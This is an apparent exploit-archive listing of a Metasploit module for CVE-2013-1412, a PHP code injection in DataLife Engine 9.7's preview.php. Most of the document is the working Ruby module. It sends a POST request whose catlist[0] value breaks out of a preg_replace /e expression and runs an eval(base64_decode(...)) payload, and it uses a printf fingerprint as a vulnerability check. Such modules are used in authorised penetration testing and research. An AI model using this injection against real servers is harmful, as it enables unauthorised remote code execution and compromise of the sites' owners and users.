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DataLife Engine preview.php PHP Code Injection

DataLife Engine preview.php PHP Code Injection
Posted Feb 1, 2013
Authored by EgiX, juan vazquez | Site metasploit.com

This Metasploit module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() with the e modifier, which allows to inject arbitrary php code, when the template in use contains a [catlist] or [not-catlist] tag.

tags | exploit, arbitrary, php
advisories | CVE-2013-1412
SHA-256 | 50f8efbcf7eeeb9778960d972ce5de90e0aadc26bfd2b879e8e78dbcd0d82f9c

DataLife Engine preview.php PHP Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'DataLife Engine preview.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
with the e modifier, which allows to inject arbitrary php code, when the template
in use contains a [catlist] or [not-catlist] tag.
},
'Author' =>
[
'EgiX', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1412' ],
[ 'BID', '57603' ],
[ 'EDB', '24438' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'Keys' => ['php']
},
'DisclosureDate' => 'Jan 28 2013',
'Targets' => [ ['DataLife Engine 9.7', { }], ],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end

def base
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
return base
end

def check
fingerprint = rand_text_alpha(4+rand(4))
res = send_request_cgi(
{
'uri' => "#{base}engine/preview.php",
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
}
})

if res and res.code == 200 and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
@peer = "#{rhost}:#{rport}"

print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
res = send_request_cgi(
{
'uri' => "#{base}engine/preview.php",
'method' => 'POST',
'vars_post' =>
{
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
}
})
end
end
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